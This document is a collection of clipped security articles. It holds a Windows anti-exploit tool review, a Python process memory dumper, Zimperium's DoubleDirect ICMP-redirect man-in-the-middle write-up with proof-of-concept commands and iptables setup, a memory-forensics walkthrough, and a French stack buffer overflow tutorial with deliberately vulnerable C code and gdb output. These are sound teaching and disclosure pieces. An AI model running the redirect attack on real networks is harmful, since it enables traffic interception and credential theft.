exploits that they may be vulnerable for. It is not a replacement for
antivirus software, other security software or common sense, but can protect
the system from exploits that target vulnerabilities that have not been fixed
yet.

Crystal Anti-Exploit Protection is available for 32-bit and 64-bit versions of
Windows XP, Windows Vista and Windows 7 at the time of writing. It requires
the Microsoft .Net Framework 2.0 on the system and administrative privileges.

### How does it work?

> CrystalAEP operates by running within every instance of a protected program
> \(for example the web browser\), performing checks at key points within the
> program’s life-time in an attempt to ensure that it is not under attack.
> Crystal also alters the behaviour of protected programs to render them more
> difficult targets for malicious software seeking to be installed on a user’s
> system – if the vulnerable program malware is targeting is in an unknown and
> constantly changing state many traditional methods for exploiting flaws
> within the software are made significantly more difficult.
The program protects a number of high profile processes automatically after
you have installed it. This includes web browsers such as Internet Explorer,
Google Chrome or Firefox, Acrobat Reader, Excel, VLC or Winamp. The protection
level is set to minimum, the lowest available level by default to avoid issues
when running the programs on the system.

  * **Minimum** – Provides only the basic protection, none of which should be invasive or disrupt delicate programs. This mode provides a backstop against some classes of threat and is surprisingly effective considering the limited features that it enables, but is not recommended for most programs as little is done to disrupt exploit attempts.
  * **Moderate** – A good improvement on Minimum, this mode aims to provide a compromise between reliability and security, erring on the side of reliability. This mode is recommended for applications which do not cope well with the High mode of protection, but is otherwise not recommended.
  * **High** – Provides an equal balance between reliability and security. Most of the particularly effective anti-exploit techniques are enabled when using this mode. This is the recommended mode for most users.
  * **Maximum** – This mode provides the highest level of protection which Crystal affords, enabling nearly all of the protection features the product can offer. Occasionally Maximum protection provides too locked-down an environment for flexible programs to operate under, and is therefore not recommended above High for most users. Maximum can be enabled for systems for which security is absolutely paramount above software reliability.

You can click on Configuration > Basic Options to modify the protection
levels, or add running or installed programs to the list of protected
applications. It is possible to configure different protection levels for
processes, so that high profile applications like Java, Firefox or Internet
Explorer run on a higher level than programs like SnagIt or Wordpad.

<img src='img/Temp2_1726.jpg' width='600' height='460' alt='protected
programs' />

You can alternatively open the Expert Options and configure the protection
methods for each process in greater detail. Only users who know what they are
doing should bother to make changes to these features as they require a great
deal of security know how.

<img src='img/Temp2_1727.jpg' width='600' height='382' alt='expert options' />

There is also a content filtering option, but it is not selected by default,
and only available for Microsoft’s Internet Explorer.

The program displays the most recent alerts in the main program window. Here
it is also possible to enable realtime alerts and to disable the protection
that it provides.

<img src='img/Temp2_1728.jpg' width='596' height='470' alt='crystal anti-
exploit protection' />

A good start to get to know the program is to read the excellent user manual
in pdf format that it ships with. Here you find information about an
introduction to the program and its configuration modes. Each expert setting
is displayed here, and the explanations should be enough to give you a basic
understanding of what they do.

You may run into issues with some programs after installation. The developer
recommends that basic users should start with the minimum protection settings
first to avoid these issues. He recommends that experienced users set the
level to high before switching to the expert options to modify the settings
further.

### Closing Words

The program is not a run and forget type of program. You will spend some time
configuring processes on your system. The developer has added the basic
options mode for inexperienced users who want to add some level of extra
protection to their system. And while that’s working well to a certain degree,
the real strength only becomes visible in the program’s advanced options and
higher protection levels. It is definitely a program to keep an eye on.

## Related Articles:

Software Copy Protection Scanner Burnout  
Windows Registry Protection  
Duqu Zero-Day Exploit Discovered, Removal Tool Released  
AVG Anti-Virus 9  
Sichtschutz, Screen Protection For Your Windows Desktop

# Evilcodecave: Linux Process Memory Dumper in Python

**Created:**| _8/23/2009 3:29:13 PM_  
---|---  
**Updated:**| _8/23/2009 3:29:23 PM_  
**Author:**| __  
**Tags:**| _python reversing Linux_  
  
Hi,  
  
here a little process memory dumper for linux written in python, soon I'll
release a p m d for FreeBSD.  
  

> \#\!/usr/bin/env python  
> import sys  
>  
> MEMFILE = '/dev/mem'  
>  
> def usage\(\):  
> print "Usage: %s " % sys.argv\[0\]  
> sys.exit\(1\)  
>  
> def main\(\):  
> if len\(sys.argv\) \!= 2:  
> usage\(\)  
> pid = sys.argv\[1\]  
> if not pid.isdigit\(\):  
> usage\(\)  
>  
> mapsfile = '/proc/' + pid + '/maps'  
> try:  
> addresslist = \[line.strip\(\).split\(\)\[0\] for line in
> open\(mapsfile\).readlines\(\) if len\(line.split\(\)\) > 5\]  
> except \(OSError, IOError\), msg:  
> print "\[\!\] Error:", msg  
> sys.exit\(1\)  
>  
> for line in addresslist:  
> splitline = line.split\('-'\)  
> base = int\('0x' + splitline\[0\], 16\)  
> length = int\('0x' + splitline\[1\], 16\) - base  
> try:  
> memfd = open\(MEMFILE\)  
> memfd.seek\(base\)  
> outfile = pid + '.' + str\(base\)  
> open\(outfile, 'w'\).write\(memfd.read\(length\)\)  
> memfd.close\(\)  
> print "Saved file to", outfile  
> except \(OSError, IOError\), msg:  
> print "\[\!\] Error:", msg  
> sys.exit\(1\)  
>  
>  
> if \_\_name\_\_ == '\_\_main\_\_':  
> main\(\)  
>  
>
Have a nice Day,

an usually deluded by ppl Evilcry.

# Project Shellcode | The Shellcode Development Framework
**Created:**| _6/9/2011 11:20:13 AM_  
---|---  
**Updated:**| _6/9/2011 11:20:13 AM_  
**Author:**| __  
**Tags:**| _shellcode_  
  

**The first stage of Project Shellcode aims to become the knowledge base for
all shellcode related resources, including white papers, tutorials, tools,
links, assembly code, and of course shellcode.**  
  
This will allow the community to submit their own shellcode and shellcode
related resources to the project so that they are available for others to use
and learn from, as well as allowing them to extend their own knowledge and
skills by gaining access to new materials and previously unreleased shellcode.
This also allows a bridge to be created that enables those new to shellcoding
to use the resources at hand to advance their skills so that they too can
contribute their own work as they progress.  
  
**The second stage of Project Shellcode aims to develop into a "Shellcode
Development Framework".**  
  
This framework will provide modular code based on new and existing shellcode
techniques. This will provide Shellcoders with an easy to use interface that
enables them to take advantage of existing code modules to create new and
exciting shellcode, as well as develop their own modules that can be
incorporated into the framework. This modular design will allow the code
modules to be tuned and extended as improved techniques are revealed, as well
as new modules created as new technologies and security improvements are
released, causing shellcode possibilities to be endless.  
  
**So create yourself an account now and join the Project Shellcode
Community.**

# DoubleDirect – Zimperium Discovers Full-Duplex ICMP Redirect Attacks in the
Wild › Zimperium Blog

**Created:**| _11/25/2014 11:54:31 AM_  
---|---  
**Updated:**| _11/25/2014 11:54:31 AM_  
**Author:**| __  
**Tags:**| __  
  

# DoubleDirect – Zimperium Discovers Full-Duplex ICMP Redirect Attacks in the
Wild

By **Z Team****Thursday, Nov 20 2014** at **00:50**

Zimperium Mobile Security Labs have investigated during the last year a new
type of attack technique in the wild being exploited by attackers. Aptly named
“**DoubleDirect** ,” this attack technique is a type of “Man-in-the-Middle”
attack \(MITM\) enabling an attacker to redirect a victim’s traffic to the
attacker’s device. Once redirected, the attacker can steal credentials and
deliver malicious payloads to the victim’s mobile device that can not only
quickly infect the device, but also spread throughout a corporate network.

**Zimperium’s team has discovered DoubleDirect attacks occurring in the wild
against high-profile targets.  
**  
**We have identified that the traffic of the following services were
redirected during the attacks on victim’s devices:  
Google, Facebook, Twitter, Hotmail, Live.com, Naver.com \(Korean\) and others.
Since the attack is happening on the IPs that the user access – it does not
necessarily mean that the attacker had visibility to encrypted traffic that
some of the above services are enforcing. We identified attacks across 31
countries, outlined below:  
**  
• Serbia  
• Australia  
• Iraq  
• Kazakhstan  
• Poland  
• Indonesia  
• Israel  
• Latvia  
• Finland  
• Mexico  
• Egypt  
• United Kingdom  
• Austria  
• Colombia  
• Greece  
• Brazil  
• Canada  
• France  
• Algeria  
• Russian Federation  
• Switzerland  
• Italy  
• Germany  
• Spain  
• Saudi Arabia  
• Netherlands  
• India  
• Malta  
• Bahrain  
• United States  
• China

The growth of mobile devices has led to a significant rise in network attacks
on wireless networks. An “ICMP Redirect” attack is one example of a known MITM
network attack, often used as an alternative to an ARP poisoning attack
technique.

Current implementations of ICMP Redirect with publically available tools like
ettercap include half-duplex MITM – meaning that one side is poisoned using an
ICMP Redirect \(victim\) and the router is poisoned using an old-school ARP
Spoofing. With such an implementation – networks that are immune to ARP
spoofing will be able to stop the attack.

From Ettercap Manual Reference Pages\[1\]: “It sends a spoofed icmp redirect
message to the hosts in the lan pretending to be a better route for internet.
All connections to internet will be redirected to the attacker which, in turn,
will forward them to the real gateway. The resulting attack is a HALF-DUPLEX
mitm. Only the client is redirected, since the gateway will not accept
redirect messages for a directly connected network.”

<img src='img/Temp2_2368.jpg' alt='ICMP redirect' />

**So how does DoubleDirect work?**

DoubleDirect uses ICMP Redirect packets \(type 5\) to modify routing tables of
a host. This is legitimately used by routers to notify the hosts on the
network that a better route is available for a particular destination\[2\].
However, an attacker can also use ICMP Redirect packets to alter the routing
tables on the victim host, causing the traffic to flow via an arbitrary
network path for a particular IP. As a result, the attacker can launch a MITM
attack, redirecting the victim’s traffic to his device. Once redirected, the
attacker can compromise the mobile device by chaining the attack with
additional Client Side vulnerability \(e.g: browser vulnerability\), and in
turn, provide an attacker with access to the corporate network.

With the detection of DoubleDirect in the wild we understood that the
attackers are using previously unknown implementation to achieve full-duplex
MITMs using ICMP Redirect. Traditional ICMP Redirect attacks has limitations
and known to be half-duplex MITM. Zimperium Mobile Security Labs researched
the threats and determined that the attackers are able to predict the IPs
being accessed by the victim. We have investigated the attacks and also
created a POC tool to prove that it is possible to perform full-duplex ICMP
Redirect attacks. ICMP Redirect attacks are not easy to emulate because the
attacker must know beforehand which IP address the victim has accessed.
\(There isn’t a systematic way to forward all the traffic from the victim
through the attacker.\)

How the attackers knew which IP addresses the victim has already accessed?  
To answer that question we should analyze the first thing a victim’s device
does when we enter a URL into the browser. For example, when we type
www.zimperium.com into any browser, the application sends a DNS request to
find out the IP address of the www.zimperium.com host.

As a first step, we can use ICMP Redirect packets to forward all the DNS
traffic from the victim’s device to our machine. Most of the time we can
predict which DNS server the victim is using. If it is in the same LAN, the
DNS server is likely to be the same as ours obtained through DHCP. Some mobile
devices uses some DNS servers by default \(8.8.8.8 and / or 8.8.4.4\). Once we
have all the DNS traffic redirected and forwarded transparently through our
device, we can send an ICMP redirect packet to every IP address we found on
the sniffed DNS replies.

The attackers are not only sniffing all the DNS traffic of the victim, but
everything that is resolved through it.

Finally, we present a simple and effective tool to perform audit for
DoubleDirect. You can download **DoubleDirect POC tool here**

To compile and run the code in this post you will need libcrafter
\(https://code.google.com/p/libcrafter/\) installed in your system. Libcrafter
in an open source multi-platform library written in C++ and released under the
new BSD license. Libcrafter provides a high level interface to craft, decode
and sniff network packets which makes it easy to create networking utilities
without dealing with low level details. To compile it in your GNU/linux or MAC
OS X system, execute the following commands:

`$ git clone https://github.com/pellegre/libcrafter  
$ cd libcrafter/libcrafter  
$ ./autogen.sh  
$ make  
$ sudo make install  
$ sudo ldconfig`

Note that you need libpcap installed in your system before configuring
libcrafter \(apt-get install libpcap-dev\)

**DoubleDirect: Full-Duplex ICMP Redirect Attack**

– _Scenario_

Gateway = 192.168.1.1  
Attacker \(Ubuntu\) = 192.168.1.105  
Victim \(Galaxy S4\) = 192.168.1.101

– _Victim’s machine_

First we need to check if the device accepts redirects. In my case \(galaxy
S4\) accept redirects bit was enabled by default:  
`# cat /proc/sys/net/ipv4/conf/all/accept_redirects  
1`

In case that ICMP Redirect is not enabled and you want to test this attack,
you should execute:  
`# echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects`

– _Attacker’s machine_

Finally, on the attacker’s machine we need to tell the kernel a few things so
the attack works correctly. The following commands should be executed on the
attacker’s machine \(as root\):

To forward IP packets  
`# echo 1 > /proc/sys/net/ipv4/ip_forward`

Don’t send redirects. This is very important, we need to tell the attacker’s
kernel not to send redirects :  
`# echo 0 > /proc/sys/net/ipv4/conf/all/send_redirect`

– _Attacking the device_

Compile the following file **doubledirect\_poc.cpp**:  
`$ g++ doubledirect_poc.cpp -o doubledirect_poc -lcrafter  
$ ./doubledirect_poc  
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool
*****  
[#] Usage: ./doubledirect_poc [options]  
[#] Options:  
-i, --interface Interface  
-v, --victim Victim IP address  
-d, --destination Destination address to poison `
Instead of poisoning a LAN ARP entry we poison a remote IP address when
accessed by the victim. In doing so we trick the victim to send IP packets
intended to a particular destination through our device instead of the real
gateway.

When the device sends an IP packet with a destination 8.8.8.8 it should use
the gateway \(192.168.1.1\).  
Now let’s poison that entry. On the attacker machine execute:

`$ sudo ./doubledirect_poc -i wlan0 -v 192.168.1.101 -d 8.8.8.8  
[#] Attack parameters :  
[+] Interface : wlan0  
[+] Victim IP address : 192.168.1.101  
[+] Destination to poison : 8.8.8.8  
[#] Gateway parameters :  
[+] Gateway IP address : 192.168.1.1  
[+] Gateway MAC address : *:*:*:*:AE:51  
[#] My parameters :  
[+] My IP address : 192.168.1.105 `

We can see how the entry for 8.8.8.8 is poisoned with our IP address
\(192.168.1.105\). When a packet with a destination to 8.8.8.8 is sent from
the victim, it will use our computer as a gateway for that packet. This will
allow us to sniff all the traffic from that destination \(a classic man in the
middle attack\).

Once we have all the DNS traffic forwarded transparently through our computer,
we can send an ICMP Redirect packet to every IP address we found on the
sniffed DNS replies. We are not only sniffing all the DNS traffic of the
victim, but everything that is resolved through it.

To test if you are vulnerable to DoubleDirect first execute the following
lines of bash code to set up iptables and IP forwarding properly:

`# cat iptables_dobule_direct.sh  
#!/bin/sh`

` `

`if [ $# -lt 1 ]; then  
echo "[@] Usage: `basename ${0}` "  
echo "[@] Example: `basename ${0}` wlan0"  
exit 0  
fi  
INTERFACE=${1}  
echo 1 > /proc/sys/net/ipv4/ip_forward  
echo 0 > /proc/sys/net/ipv4/conf/$INTERFACE/send_redirects  
iptables --flush  
iptables --zero  
iptables --delete-chain  
iptables -F -t nat  
iptables --append FORWARD --in-interface $INTERFACE --jump ACCEPT  
iptables --table nat --append POSTROUTING --out-interface $INTERFACE --jump
MASQUERADE `

` `

`# ./iptables_double_direct.sh wlan0 `

Finally, execute the Zimperium DoubleDirect Audit tool:

`# ./doubledirect_poc -i wlan0 -v 192.168.1.101  
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool
*****  
[#] Attack parameters :  
[+] Interface : wlan0  
[+] Victim IP address : 192.168.1.101  
[#] Gateway parameters :  
[+] Gateway IP address : 192.168.2.1  
[+] Gateway MAC address : 00:1f:*:*:*:*  
[#] My parameters :  
[+] My IP address : 192.168.2.103  
`

The DNS servers are hard coded inside the code \(line 397,
doubledirect\_poc.cpp file\). You can add any host for the initial ICMP
redirect packets there:

`// Hardcoded DNS servers we want to redirect to our machine  
startIcmpRedirectAttack(*redirect_parameters,
getGatewayIp(redirect_parameters->_interface)); // Gateway  
startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE  
startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE  
startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS  
startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS  
`

**Countermeasures**

iOS, Android and Mac OS X usually accepts ICMP redirect packets by default.  
**To test if your OS X is vulnerable to DoubleDirect run the following
command** :  
`sysctl net.inet.ip.redirect | grep ": 1" && echo "DoubleDirect: VULNERABLE" || echo "DoubleDirect: SAFE"  
`

To disable ICMP Redirect on Mac \(as root\):  
`# sysctl -w net.inet.ip.redirect=0 `  
Edit: This fix is not persistent – you need to add this line to your startup
scripts to be safe after a reboot. \(thanks Jon Schwenn for pointing this
out\).

On the mobile side, most Android devices \(galaxy series\) with the
accept\_redirect field enabled by default

To disable you need to root your device and execute:  
`# echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects`

**Who is at risk?**  
– **iOS** : The attack works on latest versions of iOS including iOS 8.1.1  
– **Android** : On most Android devices that we have tested – including Nexus
5 + Lollipop  
– **Mac** : Mac OS X Yosemite is vulnerable.  
**Most of GNU/Linux and Windows desktop operating system do not accept ICMP
redirect packets.**

Zimperium Mobile Threat Defense customers are protected from DoubleDirect
without performing any update.

**Zimperium Mobile Threat Defense**

Zimperium Mobile Threat Defense uses machine learning to detect network and
host attacks completely in user mode. This enterprise mobile security system
is able to detect network attacks without sniffing network traffic\! By
analyzing patterns in the operating system, the Zimperium Mobile IPS \(zIPS\)
app can detect and mitigate ICMP Redirect attacks such as DoubleDirect –
without any additional updates. Find out how you can protect your organization
against advanced threats like DoubleDirect and other advanced attacks on
mobile devices – **here**

**Disclosure Statement:**

ICMP Redirect Half-Duplex attacks have been known/disclosed for many years.
Zimperium is releasing this information at this time to increase awareness as
some operating system vendors have yet to implement protection at this point
for ICMP Redirect attacks as there are attacks in-the-wild. This new attack
technique is a full-duplex derivative of a known ICMP Redirect attack. For a
full description of our Disclosure Policy please go to:
https://www.zimperium.com/files/zero-day-disclosure-policy.pdf. We recommend
as a best practice that all operating system vendors disable the ICMP Redirect
functionality.

Links:  
– **zIPS** – Zimperium Mobile IPS – protection against advanced host and
network mobile attacks, including DoubleDirect.  
– **zANTI2** – Mobile Diagnostics to perform DoubleDirect Audit

# Analyzing Malicious Processes

**Created:**| _12/8/2014 10:05:23 AM_  
---|---  
**Updated:**| _12/8/2014 10:05:23 AM_  
**Author:**| __  
**Tags:**| __  
  

# Analyzing Malicious Processes

Today I tweeted “Analysis techniques are individually developed. Show people
processes and let them be creative”. SO I wanted to write this post to
describe a method I use to analyze processes on hosts that are suspected of
being compromised.

When attackers gain access to your network they will need to perform certain
activities in order to accomplish their goals. Very often these activities
will result in executables being ran and processes started as a result.
Identifying these processes is very important, but what do you do after is
where you begin to earn your money. For this post I will be using a memory
image from the jackcr-challenge which I created last year. If you are
interested in tackling this challenge it can be downloaded from the link on
the right side bar or you can follow this link
https://docs.google.com/file/d/0B\_xsNYzneAhEN2I5ZXpTdW9VMGM/edit.

When looking at processes pay attention to the start times. We should be
focusing on ones that have started around the same time frame that we are
investigating \(if the machine has been rebooted after the initial compromise
then this method will obviously not work\). Remember that attackers will very
often leverage windows tools so don’t discount processes that seem like they
would be non-malicious just because it was executed from a legitimate
Microsoft executable. It’s also a good idea to pay attention to spawned
processes as well a parent processes. If cmd.exe was spawned from iexplore.exe
it may be cause for some concern.

Looking at our memory image we start by inspecting the process listing.

The above command will display the following output.

<img src='img/Temp2_670.png' alt='pslist-out' />

At first glance the cmd.exe process may seem a little suspicious but is was
spawned from explorer.exe and is responsible for mdd.exe which collected the
memory dump. The PSEXECSVC.exe process looks a little suspicious though. When
psexec.exe is executed on a client machine it will copy the psexecsvc.exe
binary over a smb connection to the destination and start a service as well as
create a named pipe in which commands will be executed over. This may very
well be an admin performing maintenance on the server, but not knowing for
sure warrants investigation.

The first thing I will want to look at are the ip’s that have been
communicating to this machine on ports 135 and 445 since I know psexec
communicates over these. As these connections may not be established any
longer I will use the Volatility plugin, connscan, which has the ability to
locate closed tcp connections as it scans for \_TCPT\_OBJECTS which may still
reside in memory.

<img src='img/Temp2_668.png' alt='connscan135' />

<img src='img/Temp2_671.png' alt='connscan' />

Based on the output we have 3 machines that we may need to validate and
possibly investigate after performing analysis on this machine. We will also
use these ip’s when analyzing the process strings. Before looking at the
strings I want to look at the open handles to the process as it may give some
clues to additional items that may need to be investigated. At this point I
mainly want to look at open file handles.

The above command will produce the following output. We can see the named pipe
created by the execution of psexec on the client machine, but not really
anything else that would steer my investigation.

<img src='img/Temp2_669.png' alt='filehandlesout' />

The output can be large so I initially like to start with a smaller subset
that I think may give some results I’m looking for. At this point I will
broaden my search to see if I can find anything else of interest.

We can see in the below output that we have a hostname that’s tied to this
process. If this turns out to be a malicious process we will need to
immediately contain that host to prevent further lateral movement and
investigate for additional compromises.

<img src='img/Temp2_672.png' alt='handlesevents2' />

As processes start, the operating system will allocate up to 2GB of virtual
address space for that process to execute in. I like to think of processes as
a container of activity. If I specifically look at that container I should see
activity that is directly related to the activity I’m looking for. This is
important because when looking at memory strings it’s very easy to to find
things that look really bad only to find out that they are part of an AV
signature or part of a legitimate connection. It is also much easier to
analyze a small section of memory than the entire memory dump.

Using the volatility plugin memdump we can dump the entire contents of a
process into a binary file.

We should create a strings file with both ascii and unicode strings as it’s
much faster to grep through ans ascii file than a binary file. By default I
like to prepend each string with the byte offset incase I need to locate that
string in the dump file. We can use the following 2 commands to produce this
file.

Very often when attackers want to execute commands on compromised machines
they will create batch scripts to perform these tasks. Just searching the
strings file for “echo off” we are able to, not only confirm that this host is
compromised, but gain insight into what happened on this machine as well as
identify indicators to look for on our network.

<img src='img/Temp2_673.png' alt='catstring1' />

The 3 batch scripts identified performed the following actions:  
1\. Rar’d up the contents of C:\Engineering\Designs\Pumps  
2\. Created a scheduled task to copy wc.exe to the system32 directory and
execute it at 04:30  
3\. Collected system information and directed the output to the file
system.dll

Searching the process data for the ip’s I was able to locate these log files
in memory indicating a login to this machine using the sysbackup account which
was the same username identified in the batch script. The host that initiated
the login was also the host identified in the handles output.

<img src='img/Temp2_674.png' alt='user2' />

Knowing that this machine is confirmed compromised there are some additional
actions we must take in hopes of limiting the scope of the incident.  
1\. Search network for any directories named webui in the system32 directory  
2\. Attempt to locate wc.exe in memory or on the host itself to determine
capabilities \(typicaly locating in memory would be much faster then
collecting on the host\).  
3\. Collect and analyze data from 3 ip’s seen making port 445 connections  
4\. Search network for presence of wc.exe, ra.exe, system.dll  
5\. Search logs for 540 / 4624 type 3 logon attempts from suspicious ip’s as
well as machines using the sysbackup account.  
6\. Change the sysbackup credentials as well as all user credentials on the
compromised machines \(domain and local\)  
7\. Determine what files were rar’d  
8\. Look for possible data exfil in network traffic

There is a lot of additional data in these memory images and I encourage you
to have a look at them if you’ve not already done so.

Again I hope this helps somebody out there and let me know if you have any
questions or comments.

# Home · obfuscator-llvm/obfuscator Wiki · GitHub

**Created:**| _1/7/2014 11:04:27 AM_  
---|---  
**Updated:**| _1/7/2014 11:04:27 AM_  
**Author:**| __  
**Tags:**| _compiler-building binary translation llvm_  
  

# **H** ome · obfuscator-llvm/obfuscator Wiki · GitHub****

  * Page History 
  * Clone URL

Obfuscator-LLVM is a project initiated in June 2010 by the information
security group of the University of Applied Sciences and Arts Western
Switzerland of Yverdon-les-Bains \(HEIG-VD \)**.**

The aim of this project is to provide an open-source fork of the LLVM
compilation suite able to provide increased software security through code
obfuscation  and tamper-proofing**.** As we currently mostly work at the
Intermediate Representation  \(IR\) level, our tool is compatible with all
programming languages \(C, C++, Objective-C, Ada and Fortran\) and target
platforms \(x86, x86-64, PowerPC, PowerPC-64, ARM, Thumb, SPARC, Alpha,
CellSPU, MIPS, MSP430, SystemZ, and XCore\) currently supported by LLVM**.**

Last edited by Pascal Junod, a month ago

****

# Définition et exploitation des buffer overflow | Time0ut
**Created:**| _4/26/2011 8:48:15 PM_  
---|---  
**Updated:**| _4/26/2011 8:48:15 PM_  
**Author:**| __  
**Tags:**| _shellcode Debugging Exploit Metasploit_  
  

## Buffer Overflow

April 23rd, 2011 Leave a comment Go to comments

L'exploitation des buffers overflow remonte à la fin des année 1980 début des
années 1990 avec notamment les attaques sur le démon fingerd d'Unix. Les
informations détaillées sur comment exploiter cette vulnérabilités ont
vraiment vu le jour en 1996 avec l'article Smashing The Stack For Fun And
Profit publié dans Phrack.  
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est
d'abord nécessaire d'avoir une bonne connaissance du fonctionnement de la pile
d'un programme. Même si cette vulnérabilité ne touche pas que la pile, cet
article se limitera à ce contexte.

Pour commencer il est nécessaire de désactiver toutes les protections qui
peuvent être mises en place par l'OS ou le compilateur.

Un buffer est une zone mémoire dans laquelle va être stockée des données
permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer
a une taille fixe à un instant t et si des précautions n'ont pas été prises,
il est possible d'écrire plus de données que la taille du buffer. Le problème
est que ces données vont écraser d'autres informations qui peuvent nous
permettre dans certaines circonstances de modifier le comportement du
programme.

Prenons un programme d'exemple appelé _buffer\_overflow.c_ :

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    
[/code]

|

[code]

    #include <stdio.h>
    #include <stdlib.h>
     
    void unused_function(void) {
       printf("Impossible => fonction non utilisee\n");
    }
     
    void f(const char *s) {
       int i = 1;
       char buffer[12];
       strcpy(buffer,s);
       printf("i = %u\n",i);
    }
     
    int main(int argc, char **argv) {
       if(argc != 2) {
          fprintf(stderr,"Usage: buffer_overflow chaine");
          exit(EXIT_FAILURE);
       }
       f(argv[1]);
     
       return EXIT_SUCCESS;
    }
[/code]  
---|---  
On voit clairement le problème dans ce programme à la ligne 11. Le _buffer_ ne
fait que 12 octets, et la commande _strcpy_ \(contrairement à la commande
_strncpy_\) ne vérifie pas la taille. Si la longueur de _s_ est supérieure à
12 octets, on dépassera la taille de _buffer_ et on écrasera des informations
qui n'ont rien avoir cette variable.

Regardons un peu l'exécution de ce programme :

time0ut\# ./buffer\_overflow AAA  
i = 1  
time0ut\# ./buffer\_overflow $\(ruby -e 'print "A"\*12'\)  
i = 0  
time0ut\# ./buffer\_overflow $\(ruby -e 'print "A"\*15'\)  
i = 4276545

Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par
contre dès qu'on commence à déborder, on modifie la valeur de _i_ en
l'écrasant, chose qui paraissait impossible vu le code source du programme.

time0ut\# ./buffer\_overflow $\(ruby -e 'print "A"\*50'\)  
i = 1094795585  
Erreur de segmentation \(core dumped\)

Au bout d'une certaine quantité d'information au delà de la taille du buffer,
on plante même lamentablement le programme.

Regardons un peu ce qu'il se passe avec gdb :

[code]

    time0ut# gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
    Reading symbols from time0ut/buffer_overflow...done.
    gdb$ dis f
    Dump of assembler code for function f:
       0x080482b4 <+0>:	push   ebp
       0x080482b5 <+1>:	mov    ebp,esp
       0x080482b7 <+3>:	sub    esp,0x28
       0x080482ba <+6>:	mov    DWORD PTR [ebp-0xc],0x1
       0x080482c1 <+13>:	mov    eax,DWORD PTR [ebp+0x8]
       0x080482c4 <+16>:	mov    DWORD PTR [esp+0x4],eax
       0x080482c8 <+20>:	lea    eax,[ebp-0x18]
       0x080482cb <+23>:	mov    DWORD PTR [esp],eax
       0x080482ce <+26>:	call   0x80512a0 <strcpy>
       0x080482d3 <+31>:	mov    eax,0x80ae90c
       0x080482d8 <+36>:	mov    edx,DWORD PTR [ebp-0xc]
       0x080482db <+39>:	mov    DWORD PTR [esp+0x4],edx
       0x080482df <+43>:	mov    DWORD PTR [esp],eax
       0x080482e2 <+46>:	call   0x8048e40 <printf>
       0x080482e7 <+51>:	leave
       0x080482e8 <+52>:	ret
    End of assembler dump.
    gdb$ b *0x080482ce   # On breakpoint avant le strcpy
    Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
    gdb$ b *0x080482d3   # On breakpoint après le strcpy
    Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
    gdb$ r
    => 0x80482ce 
[/code]

: call 0x80512a0 <strcpy> 0x80482d3

: mov eax,0x80ae90c 0x80482d8

: mov edx,DWORD PTR \[ebp-0xc\]

Breakpoint 1, 0x080482ce in f at buffer\_overflow.c:11 11 strcpy\(buffer,s\)
gdb$ print &buffer $1 = \(char \(\*\)\[12\]\) 0xbffff230 gdb$ print &i $2 =
\(int \*\) 0xbffff23c gdb$ print 0xbffff23c - 0xbffff230 $3 = 0xc gdb$ x/16xb
0xbffff230 0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08 0xbffff238:
0x00 0x01 0x30 0xb7 0x01 0x00 0x00 0x00 gdb$ c => 0x80482d3

: mov eax,0x80ae90c 0x80482d8

: mov edx,DWORD PTR \[ebp-0xc\] 0x80482db

: mov DWORD PTR \[esp+0x4\],edx

Breakpoint 2, f at buffer\_overflow.c:12 12 printf\("i = %u\n",i\); gdb$
x/16xb 0xbffff230 0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 0x00 0x00 0x00 0x00 gdb$ c i = 0 Program
exited normally.

On voit bien avant le _strcpy_ la valeur de _i_ _0x01 0x00 0x00 0x00_
\(représentée en bleu\) qui est écrasée par l'_\0_ ajouté par _strcpy_. Un
seul octet est écrasé : celui où il y avait _0x01_. _i_ passe donc à _0_.

  
<img src='img/Temp2_2484.png' width='334' height='398' />  

Lorsqu'on passe en argument 15 "A", on écrase la variable _i_ avec 3 octets
supplémentaires \(donc 4 au total\), _i_ prend donc la valeur
_\x41\x41\x41\x00_ soit la valeur _4276545_ en little endian. La valeur
_1094795585_ ne correspond qu'à des _\x41_ sur tous les octets.

_Remarque_ : Si nous avions inversé la déclaration des variables _buffer_ et
_i_ , il n'aurait pas été possible de faire un overflow sur _i_ , car elle
aurait eu une adresse inférieure à _buffer_.

Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de
modifier la valeur de _i_ , le programme se plante. Si on se rappelle bien du
fonctionnement de la pile, on sait que lors de la création d'un stack frame
l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile
pour reprendre l'exécution du programme au bon endroit lors du retour de la
fonction.  
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on
écrase cette adresse ? On va modifier le cours d'exécution du programme, et le
retour de notre fonction _f_ se fera à une nouvelle adresse, qui pointera dans
notre cas sur n'importe quoi. Le programme a donc de fortes chances de
planter. C'est exactement ce qu'il se passe ici.

[code]

    time0ut# ./buffer_overflow $(ruby -e 'print "A"*50')
    i = 1094795585
    Erreur de segmentation (core dumped)
    time0ut# gdb buffer_overflow -c core
    Reading symbols from time0ut/buffer_overflow...done.
    [New Thread 5625]
    Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
    Program terminated with signal 11, Segmentation fault.
    #0  0x41414141 in ?? ()
    gdb$ info register eip     # ou sa version light : i r eip
    eip            0x41414141	0x41414141
    
[/code]

[/code]

[code]

